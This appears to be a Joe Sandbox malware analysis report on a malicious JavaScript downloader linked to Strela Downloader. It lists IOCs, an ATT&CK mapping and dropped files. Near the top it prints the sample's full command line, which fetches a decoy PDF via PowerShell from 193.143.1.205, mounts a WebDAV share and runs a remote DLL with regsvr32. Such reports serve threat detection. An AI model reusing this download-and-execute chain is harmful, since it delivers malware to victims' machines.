Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
20512268371239412475.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/X	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/sce	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/X	net.exe, 00000007.00000003.1391223183.0000015BBA4BA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1392841210.0000015BBA4BA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.1395241717.0000011386540000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2634582302.0000011386800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1391223183.0000015BBA4BA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1391045212.0000015BBA4DC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1392916001.0000015BBA4DE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1392841210.0000015BBA4BA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1392773228.0000015BBA488000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sce	net.exe, 00000007.00000002.1392773228.0000015BBA488000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588060
Start date and time:	2025-01-10 20:52:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	20512268371239412475.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.22.41.97, 3.233.129.217, 3.219.243.226, 52.6.155.20, 162.159.61.3, 172.64.41.3, 2.23.242.162, 2.16.168.107, 2.16.168.105, 23.209.209.135, 2.16.100.168, 88.221.110.91, 13.107.246.45, 104.78.188.188, 172.202.163.200
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, time.windows.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 20512268371239412475.js

Simulations

Behavior and APIs

Time	Type	Description
14:53:51	API Interceptor	21x Sleep call for process: powershell.exe modified
14:53:55	API Interceptor	1x Sleep call for process: net.exe modified
14:53:55	API Interceptor	2x Sleep call for process: svchost.exe modified
14:54:09	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	225008411339129134.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16112188701857928577.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	929826576149214658.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1926422634111517010.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1713990941768710675.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1405043592135725069.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	225008411339129134.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16112188701857928577.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	929826576149214658.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1926422634111517010.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	143686862513618164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3253418218787826771.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1713990941768710675.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1340465372044024725.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067068118462235
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vq/:2JIB/wUKUKQncEmYRTwh0r
MD5:	F18B94465176FAB2EF577799A699A8FF
SHA1:	12D4A26A6E63264798DDD713987F7C60C0397512
SHA-256:	9569BCF5AFB1B7D2E1158F069CC8A39FE64B3EF8901B1DB5A79C59A604550C71
SHA-512:	4A34593616E7DBBEED190D2F6A1CD1C1D494D6F8001AC0DEA2B39B86E9EEC2C2A9D6442DFF13BD0F4BFFB2620789C33831C105BD012A81D2333BC2AE219A42D0
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xc11e9ccc, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899754371596801
Encrypted:	false
SSDEEP:	1536:DSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:DazaPvgurTd42UgSii
MD5:	6B2122E6060EF702C4A3AA3960F49560
SHA1:	D8F7FD5B9C8B5BFD5501A046F51757237B506D08
SHA-256:	CB1E3CADDBAB2EE9A235E5BEE02D297B748A71B37A8A4FB3F8EABFE384137676
SHA-512:	4BCC549FAB7258782AD5EB25774292F3A801912619AC041026440994DA59B42EE4745A65BA31412B20FFBF027CD26AE53B474D82B22CB1D3E2DFF27A7B976BD5
Malicious:	false
Preview:	....... ...............X\...;...{......................0.`.....42...{5.75...}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{................................../.>.75...}k..................Fr\75...}k..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08230096917654028
Encrypted:	false
SSDEEP:	3:pl6YeloYOZt/57Dek3J4ZjDillEqW3l/TjzzQ/t:L6zl0TR3t45DGmd8/
MD5:	F18FA57BA2580EBE8FD06C438D999E35
SHA1:	1841DD3A2BBA1FC4E341E5DF5C5B59A7ECBFA17C
SHA-256:	8367EAB0E9F633DFFDD5E82075DDDDDF472D418BC03A506F1C2A9195273FF7F2
SHA-512:	E09238752F452167F3267967C8B82B881ED8C366BE6D2B06907AD99B2A4061E882B736272177775C67C3856EAC2C4C380290599FCF919C35BA0D98DA71070A0B
Malicious:	false
Preview:	.`M'.....................................;...{..75...}k.42...{5.........42...{5.42...{5...Y.42...{59.................Fr\75...}k.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.195040809263393
Encrypted:	false
SSDEEP:	6:iO4BicBVq2PcNwi2nKuAl9OmbnIFUtSBi2U6gZmwsBi2U6IkwOcNwi2nKuAl9Omt:7BIVvLZHAahFUtr2U6g/t2U6I54ZHAae
MD5:	D8FDA4D14066644700DA65136F35172C
SHA1:	23F1F760C37A85DA8F7148690CACB143048D8B93
SHA-256:	192DCCBF88CDAB2791D33753EB078BD0D70CC334019BD46EFA5BA81454349ABE
SHA-512:	C7BC193831BEAE449B8BE4AAA96DA963395EA568EB17377B22B107CB290599D99213CE2011D88972607E1582F4716D931641C1E2F2581907C1C23A96F0B2F689
Malicious:	false
Preview:	2025/01/10-14:53:55.383 1f04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:53:55.385 1f04 Recovering log #3.2025/01/10-14:53:55.385 1f04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.195040809263393
Encrypted:	false
SSDEEP:	6:iO4BicBVq2PcNwi2nKuAl9OmbnIFUtSBi2U6gZmwsBi2U6IkwOcNwi2nKuAl9Omt:7BIVvLZHAahFUtr2U6g/t2U6I54ZHAae
MD5:	D8FDA4D14066644700DA65136F35172C
SHA1:	23F1F760C37A85DA8F7148690CACB143048D8B93
SHA-256:	192DCCBF88CDAB2791D33753EB078BD0D70CC334019BD46EFA5BA81454349ABE
SHA-512:	C7BC193831BEAE449B8BE4AAA96DA963395EA568EB17377B22B107CB290599D99213CE2011D88972607E1582F4716D931641C1E2F2581907C1C23A96F0B2F689
Malicious:	false
Preview:	2025/01/10-14:53:55.383 1f04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:53:55.385 1f04 Recovering log #3.2025/01/10-14:53:55.385 1f04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.234633223919969
Encrypted:	false
SSDEEP:	6:iO4BiafL+q2PcNwi2nKuAl9Ombzo2jMGIFUtSBiu1ZmwsBiSGLVkwOcNwi2nKuAv:7BaKvLZHAa8uFUtru1/tSy54ZHAa8RJ
MD5:	8306CDCD72FC91639C17151613FDE695
SHA1:	C8C8A15EE148E4081F5630AA2473F05AAADB3292
SHA-256:	879E168EA1C05CAFA778B8A201102DCCFBF38A2B49414B8629E121DB908423B7
SHA-512:	24F30055386B60F538FFEB44C3E58730946157BD8F0BE575C6345478A8282A04D109BAE2D1196EDECAD2DC9F2C3B15AF9AEE81795EA2923027BF0B6EF25F4F50
Malicious:	false
Preview:	2025/01/10-14:53:55.389 1f78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:53:55.390 1f78 Recovering log #3.2025/01/10-14:53:55.391 1f78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.234633223919969
Encrypted:	false
SSDEEP:	6:iO4BiafL+q2PcNwi2nKuAl9Ombzo2jMGIFUtSBiu1ZmwsBiSGLVkwOcNwi2nKuAv:7BaKvLZHAa8uFUtru1/tSy54ZHAa8RJ
MD5:	8306CDCD72FC91639C17151613FDE695
SHA1:	C8C8A15EE148E4081F5630AA2473F05AAADB3292
SHA-256:	879E168EA1C05CAFA778B8A201102DCCFBF38A2B49414B8629E121DB908423B7
SHA-512:	24F30055386B60F538FFEB44C3E58730946157BD8F0BE575C6345478A8282A04D109BAE2D1196EDECAD2DC9F2C3B15AF9AEE81795EA2923027BF0B6EF25F4F50
Malicious:	false
Preview:	2025/01/10-14:53:55.389 1f78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:53:55.390 1f78 Recovering log #3.2025/01/10-14:53:55.391 1f78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\66468761-2097-46c7-9991-0d4b0d884597.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.963975653953267
Encrypted:	false
SSDEEP:	12:YH/um3RA8squsBdOg2Hicaq3QYiubSpDyP7E4T3y:Y2sRdsGdMHt3QYhbSpDa7nby
MD5:	B57DB9188A5B8276AB5DFE45DFA17DF5
SHA1:	405B59E1B74A7399169939FC382D081BC32EEB8D
SHA-256:	F6D0478758AF0C3E6B462B9E6C2D56EDDEC17BB679AED3CCD359D38A85DE9AEC
SHA-512:	E633340DB944B9034063C5A4EF91B250558BDF214B8818CB4AB666F95D9B351F818A6194BB03388AC1E471D0C2683AF0E1BF9614B61DA9DEE91271684BD6ACD3
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381098848028702","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132101},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF70e8e8.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a7e56b3f-ed74-4fab-94f2-5b683dd92bd6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.233587147499857
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtP3gcm2:CwNw1GHqPySfkcigoO3h28ytP3gct
MD5:	783884192EA9782023B4EBE711741946
SHA1:	151F8CF3D0DA26DBC2A41998EC930B0A434B4AE7
SHA-256:	2C57EE9BFB7FECE008349E1C3780FC90D6F66F33780BCA29057681BD17272843
SHA-512:	F59AED0EC7293A3A99676E223573C9E0D35BFC1B181EAB133051C627066133A1CE1B0FABB83826967FAEFED73FDAA8CE9E9328B617C8D179D923B0D3FA605504
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.267840449716502
Encrypted:	false
SSDEEP:	6:iO4BpL+q2PcNwi2nKuAl9OmbzNMxIFUtSBf11ZmwsBOLVkwOcNwi2nKuAl9OmbzE:71vLZHAa8jFUtE11/x54ZHAa84J
MD5:	C9D4B98B2178B6BAD557A8E0FB579064
SHA1:	B342C71824673587AE73ADF751C54882A9C43081
SHA-256:	A5E5B2185C5A00D9609AEBAD79528A1F2B2FC5C56A54786DC728659A7CC38F56
SHA-512:	C83146456C61F08A6712A3296AB4ABA7557509BBDD3FC294D6DD1E66F8494204F5DC754C34A0D89D11AC14287715615070AF8CF5ACD87DF16CF14D2DA9A8B002
Malicious:	false
Preview:	2025/01/10-14:53:55.693 1f78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:53:55.695 1f78 Recovering log #3.2025/01/10-14:53:55.696 1f78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.267840449716502
Encrypted:	false
SSDEEP:	6:iO4BpL+q2PcNwi2nKuAl9OmbzNMxIFUtSBf11ZmwsBOLVkwOcNwi2nKuAl9OmbzE:71vLZHAa8jFUtE11/x54ZHAa84J
MD5:	C9D4B98B2178B6BAD557A8E0FB579064
SHA1:	B342C71824673587AE73ADF751C54882A9C43081
